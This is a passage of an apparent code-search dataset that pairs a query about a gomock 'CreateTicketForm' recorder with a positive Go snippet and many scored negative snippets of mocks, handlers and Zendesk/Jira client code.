declared messages do not support extensions: tendermint.abci.RequestSetOption\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message tendermint.abci.RequestSetOption does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" } ]
a63a4ea371a6d989efbda8c746f81321
CreateTicketForm indicates an expected call of CreateTicketForm.
[ { "docid": "28efc451ba7468cab8f752c018458c88", "score": "0.7389765", "text": "func (mr *ClientMockRecorder) CreateTicketForm(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTicketForm\", reflect.TypeOf((*Client)(nil).CreateTicketForm), arg0, arg1)\n}", "title": "" } ]
[ { "docid": "11aed98e137f12b609b5d01012442724", "score": "0.71283937", "text": "func (m *Client) CreateTicketForm(arg0 context.Context, arg1 zendesk.TicketForm) (zendesk.TicketForm, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateTicketForm\", arg0, arg1)\n\tret0, _ := ret[0].(zendesk.TicketForm)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "24b6b8e5c94f7082b7fdf9169d01c9c2", "score": "0.6420459", "text": "func (mr *ClientMockRecorder) CreateTicket(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTicket\", reflect.TypeOf((*Client)(nil).CreateTicket), arg0, arg1)\n}", "title": "" }, { "docid": "fc3915985a5a2dfdcecf384934aa95ae", "score": "0.6294829", "text": "func (mr *ClientMockRecorder) GetTicketForm(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetTicketForm\", reflect.TypeOf((*Client)(nil).GetTicketForm), arg0, arg1)\n}", "title": "" }, { "docid": "a7b7852dc99fae4c716f20e9d82a88d3", "score": "0.5934832", "text": "func (mr *ClientMockRecorder) CreateTicketField(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTicketField\", reflect.TypeOf((*Client)(nil).CreateTicketField), arg0, arg1)\n}", "title": "" }, { "docid": "5c9bf7551fd8b5690518af50c9f9469f", "score": "0.5843186", "text": "func (mr *ClientMockRecorder) DeleteTicketForm(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DeleteTicketForm\", reflect.TypeOf((*Client)(nil).DeleteTicketForm), arg0, arg1)\n}", "title": "" }, { "docid": "0fed3159dfc5d9c77c4ef55b15b94c68", "score": "0.5802043", "text": "func marshalTicketForm(f client.TicketForm, d identifiableGetterSetter) error {\n\tfields := map[string]interface{}{\n\t\t\"url\": f.URL,\n\t\t\"name\": f.Name,\n\t\t\"display_name\": f.DisplayName,\n\t\t\"position\": f.Position,\n\t\t\"active\": f.Active,\n\t\t\"end_user_visible\": f.EndUserVisible,\n\t\t\"default\": f.Default,\n\t\t\"ticket_field_ids\": f.TicketFieldIDs,\n\t\t\"in_all_brands\": f.InAllBrands,\n\t\t\"restricted_brand_ids\": f.RestrictedBrandIDs,\n\t}\n\n\terr := setSchemaFields(d, fields)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "297edb220c19169cd9a269423c0d71ff", "score": "0.5786297", "text": "func (mr *ClientMockRecorder) GetTicketForms(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetTicketForms\", reflect.TypeOf((*Client)(nil).GetTicketForms), arg0, arg1)\n}", "title": "" }, { "docid": "e7138bdfb4efad2c5846f982ba2774d5", "score": "0.57658803", "text": "func (m *Client) CreateTicket(arg0 context.Context, arg1 zendesk.Ticket) (zendesk.Ticket, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateTicket\", arg0, arg1)\n\tret0, _ := ret[0].(zendesk.Ticket)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "1099b0e36f0eddb9d5f96787d9721ba9", "score": "0.56412584", "text": "func (m *Client) DeleteTicketForm(arg0 context.Context, arg1 int64) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DeleteTicketForm\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "4ef59e5c917fb6316dc79dce5c0eaaca", "score": "0.5525106", "text": "func ValidateCreateTicket(payload *model.CreateTicketReq) error {\n\n\tif payload == nil {\n\t\terr := errors.New(\"invalid payload\")\n\t\treturn err\n\t}\n\n\tif strings.TrimSpace(payload.Type) == \"\" {\n\t\terr := errors.New(\"invalid type\")\n\t\treturn err\n\t}\n\n\tif payload.Quantity < 0 {\n\t\terr := errors.New(\"invalid quantity\")\n\t\treturn err\n\t}\n\n\tif payload.Price < 0 {\n\t\terr := errors.New(\"invalid price\")\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "78d5789e44049dd00dd60d49f22a3a85", "score": "0.5520976", "text": "func (state ZenformState) ExistsTicketForm(slug string) bool {\n\treturn state.TicketForms[slug].ID != NotFoundID\n}", "title": "" }, { "docid": "6683125a3249f943b0f5054f89b0eca6", "score": "0.5514023", "text": "func (m *Client) GetTicketForm(arg0 context.Context, arg1 int64) (zendesk.TicketForm, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTicketForm\", arg0, arg1)\n\tret0, _ := ret[0].(zendesk.TicketForm)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "0a1430bdf50f8dc2e81e5c2d69bee644", "score": "0.5508213", "text": "func (mr *ClientMockRecorder) UpdateTicketForm(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateTicketForm\", reflect.TypeOf((*Client)(nil).UpdateTicketForm), arg0, arg1, arg2)\n}", "title": "" }, { "docid": "a94605e43c0119840e826a668b816397", "score": "0.54744095", "text": "func (m *Client) CreateTicketField(arg0 context.Context, arg1 zendesk.TicketField) (zendesk.TicketField, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateTicketField\", arg0, arg1)\n\tret0, _ := ret[0].(zendesk.TicketField)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "d0795e8dd6ae93b4bc9b27383e97a8bd", "score": "0.5419272", "text": "func (h *eventServiceHTTPHandler) CreateTicket(c echo.Context) error {\n\tlogCtx := fmt.Sprintf(\"%T.CreateTicket\", *h)\n\n\tparams := model.CreateTicketReq{}\n\tif err := c.Bind(&params); err != nil {\n\t\thelper.Log(logrus.ErrorLevel, err.Error(), logCtx, \"error_bind_params\")\n\t\treturn helper.NewResponse(http.StatusBadRequest, http.StatusBadRequest, err.Error(), nil).WriteResponse(c)\n\t}\n\n\tif err := sanitizer.ValidateCreateTicket(&params); err != nil {\n\t\thelper.Log(logrus.ErrorLevel, err.Error(), logCtx, \"error_validate_params\")\n\t\treturn helper.NewResponse(http.StatusBadRequest, http.StatusBadRequest, err.Error(), nil).WriteResponse(c)\n\t}\n\n\tresp, err := h.eventUseCase.CreateTicket(&params)\n\tif err != nil {\n\t\thelper.Log(logrus.ErrorLevel, err.Error(), logCtx, \"error_create_ticket\")\n\t\treturn helper.NewResponse(http.StatusInternalServerError, http.StatusInternalServerError, err.Error(), nil).WriteResponse(c)\n\t}\n\n\tdata := make(map[string]interface{})\n\tdata[\"ticket\"] = resp\n\treturn helper.NewResponse(http.StatusCreated, http.StatusCreated, \"Success\", data).WriteResponse(c)\n}", "title": "" }, { "docid": "2b1f8d02d7609fd5e0efc16792ee8a40", "score": "0.5332898", "text": "func unmarshalTicketForm(d identifiableGetterSetter) (client.TicketForm, error) {\n\ttf := client.TicketForm{}\n\n\tif v := d.Id(); v != \"\" {\n\t\tid, err := atoi64(v)\n\t\tif err != nil {\n\t\t\treturn tf, fmt.Errorf(\"could not parse ticket field id %s: %v\", v, err)\n\t\t}\n\t\ttf.ID = id\n\t}\n\n\tif v, ok := d.GetOk(\"url\"); ok {\n\t\ttf.URL = v.(string)\n\t}\n\n\tif v, ok := d.GetOk(\"name\"); ok {\n\t\ttf.Name = v.(string)\n\t\ttf.RawName = v.(string)\n\t}\n\n\tif v, ok := d.GetOk(\"display_name\"); ok {\n\t\ttf.DisplayName = v.(string)\n\t\ttf.RawDisplayName = v.(string)\n\t}\n\n\tif v, ok := d.GetOk(\"position\"); ok {\n\t\ttf.Position = int64(v.(int))\n\t}\n\n\tif v, ok := d.GetOk(\"active\"); ok {\n\t\ttf.Active = v.(bool)\n\t}\n\n\tif v, ok := d.GetOk(\"end_user_visible\"); ok {\n\t\ttf.EndUserVisible = v.(bool)\n\t}\n\n\tif v, ok := d.GetOk(\"default\"); ok {\n\t\ttf.Default = v.(bool)\n\t}\n\n\tif v, ok := d.GetOk(\"in_all_brands\"); ok {\n\t\ttf.InAllBrands = v.(bool)\n\t}\n\n\tif v, ok := d.GetOk(\"ticket_field_ids\"); ok {\n\t\tticketFieldIDs := v.(*schema.Set).List()\n\t\tfor _, ticketFieldID := range ticketFieldIDs {\n\t\t\ttf.TicketFieldIDs = append(tf.TicketFieldIDs, int64(ticketFieldID.(int)))\n\t\t}\n\t}\n\n\tif v, ok := d.GetOk(\"restricted_brand_ids\"); ok {\n\t\tbrandIDs := v.(*schema.Set).List()\n\t\tfor _, id := range brandIDs {\n\t\t\ttf.TicketFieldIDs = append(tf.RestrictedBrandIDs, int64(id.(int)))\n\t\t}\n\t}\n\n\treturn tf, nil\n}", "title": "" }, { "docid": "f71ca2722dafdd45c1fd40e0984b91dc", "score": "0.52994454", "text": "func (mr *ClientMockRecorder) CreateTicketComment(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTicketComment\", reflect.TypeOf((*Client)(nil).CreateTicketComment), arg0, arg1, arg2)\n}", "title": "" }, { "docid": "fa2c510008df3f451aa1577c8e861193", "score": "0.52945226", "text": "func (mr *MockRPCClientMockRecorder) Form(arg0, arg1, arg2, arg3 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Form\", reflect.TypeOf((*MockRPCClient)(nil).Form), arg0, arg1, arg2, arg3)\n}", "title": "" }, { "docid": "9c5493759ba22716d54c06ab5eacdee0", "score": "0.523883", "text": "func (mr *MockCoreClientMockRecorder) CreateTeam(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTeam\", reflect.TypeOf((*MockCoreClient)(nil).CreateTeam), arg0, arg1)\n}", "title": "" }, { "docid": "db2ea514521822dc1e9a2b1e948689f3", "score": "0.5221293", "text": "func (jiraHandler *JiraHandler) CreateTicket(fields map[string]interface{}) (*JiraCreateTicketResponse, error) {\n\tpostArgs := struct {\n\t\tFields map[string]interface{} `json:\"fields\"`\n\t}{fields}\n\tapiEndpoint := fmt.Sprintf(\"%s/rest/api/2/issue\", jiraHandler.JiraHost())\n\tbody := &bytes.Buffer{}\n\tif err := json.NewEncoder(body).Encode(postArgs); err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to serialize ticket body\")\n\t}\n\treq, err := http.NewRequest(http.MethodPost, apiEndpoint, body)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to form create ticket request\")\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\tif jiraHandler.opts.BasicAuthOpts.Username != \"\" {\n\t\treq.SetBasicAuth(jiraHandler.opts.BasicAuthOpts.Username, jiraHandler.opts.BasicAuthOpts.Password)\n\t}\n\tres, err := jiraHandler.client.Do(req)\n\tif res != nil {\n\t\tdefer res.Body.Close()\n\t}\n\tif err != nil {\n\t\treturn nil, errors.WithStack(err)\n\t}\n\tif res.StatusCode >= 300 || res.StatusCode < 200 {\n\t\tmsg, _ := io.ReadAll(res.Body)\n\t\treturn nil, errors.Errorf(\"HTTP request returned unexpected status `%v`: %v\", res.Status, string(msg))\n\t}\n\n\tticketInfo := &JiraCreateTicketResponse{}\n\tif err := json.NewDecoder(res.Body).Decode(ticketInfo); err != nil {\n\t\treturn nil, errors.Wrap(err, \"Unable to decode http body\")\n\t}\n\treturn ticketInfo, nil\n}", "title": "" }, { "docid": "1a1b26a6956811d0b86608c7518365de", "score": "0.5125251", "text": "func CreateTicketHandler(w http.ResponseWriter, r *http.Request) {\n\tnewTicket := tickets.Create()\n\n\trenderer.JSON(w, http.StatusOK, map[string]int64{\"ticket_number\": newTicket.ID})\n}", "title": "" }, { "docid": "7fab2d3d265e5182eb8dca053ed5c7e5", "score": "0.5116595", "text": "func (mr *MockapiMockRecorder) CreateChangeSet(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateChangeSet\", reflect.TypeOf((*Mockapi)(nil).CreateChangeSet), arg0)\n}", "title": "" }, { "docid": "3eddfc120d531b7f2464dcdde923fa53", "score": "0.508467", "text": "func (mr *MockchangeSetAPIMockRecorder) CreateChangeSet(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateChangeSet\", reflect.TypeOf((*MockchangeSetAPI)(nil).CreateChangeSet), arg0)\n}", "title": "" }, { "docid": "408f6ef8e498793006cd4d3fa776a8ce", "score": "0.50818527", "text": "func (mr *MockResponseFactoryMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockResponseFactory)(nil).Create), arg0)\n}", "title": "" }, { "docid": "3e962e3077f8b2195fcc2b06025e3715", "score": "0.50593746", "text": "func (ms MockSigner) CreateTicket(proof PoStProof, signerPubKey []byte) (Signature, error) {\n\tvar ticket Signature\n\n\tsignerAddr, err := ms.GetAddressForPubKey(signerPubKey)\n\tif err != nil {\n\t\treturn ticket, err\n\t}\n\n\tbuf := append(proof[:], signerAddr.Bytes()...)\n\th := blake2b.Sum256(buf)\n\n\tticket, err = ms.SignBytes(h[:], signerAddr)\n\tif err != nil {\n\t\terrMsg := fmt.Sprintf(\"SignBytes error in CreateTicket: %s\", err.Error())\n\t\tpanic(errMsg)\n\t}\n\treturn ticket, nil\n}", "title": "" }, { "docid": "4dbdb0471742d398b7641ace569ca8cc", "score": "0.50497043", "text": "func (mr *MockClientMockRecorder) CreateCase(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateCase\", reflect.TypeOf((*MockClient)(nil).CreateCase), arg0)\n}", "title": "" }, { "docid": "d7159bc743c3c8c137e7fd07ed0f1fde", "score": "0.5000227", "text": "func (tm *TicketMessage) BeforeCreate() {\n\ttm.Date = time.Now().UTC()\n}", "title": "" }, { "docid": "5eec34ee8945efde59d0468c7a441028", "score": "0.49891225", "text": "func (mr *MockClientMockRecorder) CreateTeam(org, team interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTeam\", reflect.TypeOf((*MockClient)(nil).CreateTeam), org, team)\n}", "title": "" }, { "docid": "990b7d3aa170518bdc6143e17ce80fe9", "score": "0.49876675", "text": "func (mr *MockActionFactoryMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockActionFactory)(nil).Create), arg0)\n}", "title": "" }, { "docid": "4c7833c577a389aa25734a8e96ad9e7b", "score": "0.4983324", "text": "func (mr *MockEmployeeUseCaseMockRecorder) CanCreateNotice(c, companyId, employeeNo interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CanCreateNotice\", reflect.TypeOf((*MockEmployeeUseCase)(nil).CanCreateNotice), c, companyId, employeeNo)\n}", "title": "" }, { "docid": "88b9ae828bcba9fd88585ad584c1ce57", "score": "0.4982781", "text": "func (mr *MockUseCaseMockRecorder) CreateToken(ctx, email, password interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateToken\", reflect.TypeOf((*MockUseCase)(nil).CreateToken), ctx, email, password)\n}", "title": "" }, { "docid": "e946f2678e01cb670d2b1ab53dc11713", "score": "0.49751133", "text": "func (mr *MockBookingMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockBooking)(nil).Create), arg0)\n}", "title": "" }, { "docid": "79619f92c8c4d31009a88b2c7781aa93", "score": "0.4960684", "text": "func (mr *ClientMockRecorder) CreateWebhook(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateWebhook\", reflect.TypeOf((*Client)(nil).CreateWebhook), arg0, arg1)\n}", "title": "" }, { "docid": "ad334604c09005092d3c251c0070eada", "score": "0.49580827", "text": "func (mr *MockTaskServiceMockRecorder) Create(ctx, summary, date interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockTaskService)(nil).Create), ctx, summary, date)\n}", "title": "" }, { "docid": "4863861bfe51bf2efe5f4a6841117493", "score": "0.49571508", "text": "func (m *Client) CreateTicketComment(arg0 context.Context, arg1 int64, arg2 zendesk.TicketComment) (zendesk.TicketComment, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateTicketComment\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(zendesk.TicketComment)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "0515b8e8dc4d29aa8bca879afa13c58b", "score": "0.49540076", "text": "func (mr *MockTeamClientMockRecorder) CreateTeam(org, team interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateTeam\", reflect.TypeOf((*MockTeamClient)(nil).CreateTeam), org, team)\n}", "title": "" }, { "docid": "78b84d7ca010d1e347e1f6b9c2c97be8", "score": "0.4952189", "text": "func (mr *ClientMockRecorder) GetTicket(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetTicket\", reflect.TypeOf((*Client)(nil).GetTicket), arg0, arg1)\n}", "title": "" }, { "docid": "5bd1c5a67361b6c2314e106926246e73", "score": "0.49341628", "text": "func (mr *ClientMockRecorder) CreateMacro(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateMacro\", reflect.TypeOf((*Client)(nil).CreateMacro), arg0, arg1)\n}", "title": "" }, { "docid": "5bd12522453b356fed47baec7dbe710f", "score": "0.4927584", "text": "func (this *BaseController) FormOnceCreate(args ...bool) {\n var value string\n var creat bool\n creat = len(args) > 0 && args[0]\n if !creat {\n if v, ok := this.GetSession(\"form_once\").(string); ok && v != \"\" {\n value = v\n } else {\n creat = true\n }\n }\n if creat {\n value = utils.GetRandomString(10)\n this.SetSession(\"form_once\", value)\n }\n this.Data[\"once_token\"] = value\n this.Data[\"once_html\"] = template.HTML(`<input type=\"hidden\" name=\"_once\" value=\"` + value + `\">`)\n}", "title": "" }, { "docid": "1ab30532c628407dcd9481c4b3af8fa5", "score": "0.49118024", "text": "func (m *Client) UpdateTicketForm(arg0 context.Context, arg1 int64, arg2 zendesk.TicketForm) (zendesk.TicketForm, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateTicketForm\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(zendesk.TicketForm)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "18200cf6319a7b30e28ae0b42bcafb8b", "score": "0.4910014", "text": "func (mr *MockCompanyMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockCompany)(nil).Create), arg0)\n}", "title": "" }, { "docid": "2c9f2dc6d27d47a95dde0bd63db402cf", "score": "0.49064806", "text": "func (mr *MockAccessTokenMockRecorder) Create(token interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockAccessToken)(nil).Create), token)\n}", "title": "" }, { "docid": "1725e3f9d2c1149c021f99f29800cbc8", "score": "0.49042138", "text": "func (mr *MockFeatureServiceMockRecorder) Create(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockFeatureService)(nil).Create), arg0, arg1)\n}", "title": "" }, { "docid": "4f3e78a04394f3186103bdd8f4608467", "score": "0.48838475", "text": "func (app *application) listingCreateForm(w http.ResponseWriter, r *http.Request) {\n\tapp.render(w, r, \"listingcreate.page.tmpl\", &templateData{\n\t\tForm: forms.New(nil),\n\t})\n}", "title": "" }, { "docid": "d084581d623340ec8daf1933fa94bc97", "score": "0.48801693", "text": "func (mr *MockVirtualMeshCertificateSigningRequestClientMockRecorder) CreateVirtualMeshCertificateSigningRequest(ctx, obj interface{}, opts ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{ctx, obj}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateVirtualMeshCertificateSigningRequest\", reflect.TypeOf((*MockVirtualMeshCertificateSigningRequestClient)(nil).CreateVirtualMeshCertificateSigningRequest), varargs...)\n}", "title": "" }, { "docid": "df8b8883e2123aa7ccb263083896c2a1", "score": "0.48796526", "text": "func (mr *MockCertificateSigningRequestEventHandlerMockRecorder) CreateCertificateSigningRequest(obj interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateCertificateSigningRequest\", reflect.TypeOf((*MockCertificateSigningRequestEventHandler)(nil).CreateCertificateSigningRequest), obj)\n}", "title": "" }, { "docid": "3038cccd99789092a194858a81c5ad47", "score": "0.487948", "text": "func (mr *ClientMockRecorder) GetTicketsFromView(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetTicketsFromView\", reflect.TypeOf((*Client)(nil).GetTicketsFromView), arg0, arg1)\n}", "title": "" }, { "docid": "c796b61825794979979434e5d32b4672", "score": "0.48758817", "text": "func (mr *MockGitClientMockRecorder) CreatePullRequest(ctx, formulaOptions, commitMessage, branchName interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreatePullRequest\", reflect.TypeOf((*MockGitClient)(nil).CreatePullRequest), ctx, formulaOptions, commitMessage, branchName)\n}", "title": "" }, { "docid": "d7bcd336435c73b7dc0e1ba87c8dd4d9", "score": "0.48749083", "text": "func (mr *MockClientInterfaceMockRecorder) CreateServiceAccount(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateServiceAccount\", reflect.TypeOf((*MockClientInterface)(nil).CreateServiceAccount), arg0)\n}", "title": "" }, { "docid": "794462c373c9de63814afb818781c2ce", "score": "0.48745728", "text": "func (mr *MockFeiraStoreMockRecorder) Create(ctx, feira interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockFeiraStore)(nil).Create), ctx, feira)\n}", "title": "" }, { "docid": "f3516c564dd76beefcc4d5118a84bd62", "score": "0.48653635", "text": "func (mr *MockPullRequestClientMockRecorder) CreatePullRequest(org, repo, title, body, head, base, canModify interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreatePullRequest\", reflect.TypeOf((*MockPullRequestClient)(nil).CreatePullRequest), org, repo, title, body, head, base, canModify)\n}", "title": "" }, { "docid": "71f4ffe12ad3d39e69cfde9b2b7034a0", "score": "0.48621398", "text": "func (mr *MockUsecaseMockRecorder) Create(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockUsecase)(nil).Create), arg0)\n}", "title": "" }, { "docid": "704a2b84e8725bce849cabb39de8633c", "score": "0.4858688", "text": "func (mr *MockClientMockRecorder) CreateIssueReaction(org, repo, id, reaction interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateIssueReaction\", reflect.TypeOf((*MockClient)(nil).CreateIssueReaction), org, repo, id, reaction)\n}", "title": "" }, { "docid": "23cb7337457fffa73e83a27201752d04", "score": "0.48584077", "text": "func (mr *MockClientMockRecorder) CreatePullRequest(org, repo, title, body, head, base, canModify interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreatePullRequest\", reflect.TypeOf((*MockClient)(nil).CreatePullRequest), org, repo, title, body, head, base, canModify)\n}", "title": "" }, { "docid": "2972094f2880ad680f033eaeaf7a0938", "score": "0.48517326", "text": "func (mr *MockApplicationCreatorMockRecorder) CreatePVC(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreatePVC\", reflect.TypeOf((*MockApplicationCreator)(nil).CreatePVC), arg0, arg1)\n}", "title": "" }, { "docid": "e2ceaad7393c2117170d4926e43c61b4", "score": "0.4849755", "text": "func (mr *MockRouteMockRecorder) Create(route interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockRoute)(nil).Create), route)\n}", "title": "" }, { "docid": "6278174243bcbd8fcea57a51a77febc9", "score": "0.4842704", "text": "func (mr *MockTodoServiceClientMockRecorder) Create(ctx, in interface{}, opts ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{ctx, in}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Create\", reflect.TypeOf((*MockTodoServiceClient)(nil).Create), varargs...)\n}", "title": "" }, { "docid": "63e75c9038a3565e57f24f7834749eda", "score": "0.48346543", "text": "func (mr *MockClientMockRecorder) CreateOrgHook(org, req interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateOrgHook\", reflect.TypeOf((*MockClient)(nil).CreateOrgHook), org, req)\n}", "title": "" }, { "docid": "33402216d345d4e2c81b51240490ba7d", "score": "0.48220572", "text": "func (mr *MockVirtualMeshCertificateSigningRequestWriterMockRecorder) CreateVirtualMeshCertificateSigningRequest(ctx, obj interface{}, opts ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{ctx, obj}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CreateVirtualMeshCertificateSigningRequest\", reflect.TypeOf((*MockVirtualMeshCertificateSigningRequestWriter)(nil).CreateVirtualMeshCertificateSigningRequest), varargs...)\n}", "title": "" }, { "docid": "ce2b04417d59e113a48f63c25161dfe8", "score": "0.48206505", "text": "func TestTicketEditPageHandler_ServeHTTP_ValidRequest(t *testing.T) {\n\tmockedTicketContext := new(mockedForTests.MockedTicketContext)\n\tmockedUserContext := new(mockedForTests.MockedUserContext)\n\tmockedTemplateManager := new(templateManager.MockedTemplateManager)\n\n\ttestee := TicketEditPageHandler{UserContext: mockedUserContext, TicketContext: mockedTicketContext, TemplateManager: mockedTemplateManager,\n\t\tLogger: testhelpers.GetTestLogger()}\n\n\ttestEditor := userData.User{Mail: \"Test2@Test.de\", UserId: 5, FirstName: \"Dieter\", LastName: \"Dietrich\", Role: userData.RegisteredUser, State: userData.Active}\n\n\ttestCreator := ticketData.Creator{Mail: \"Test@Test.de\", FirstName: \"Max\", LastName: \"Muller\"}\n\ttestTicketInfo := ticketData.TicketInfo{Id: 5, Title: 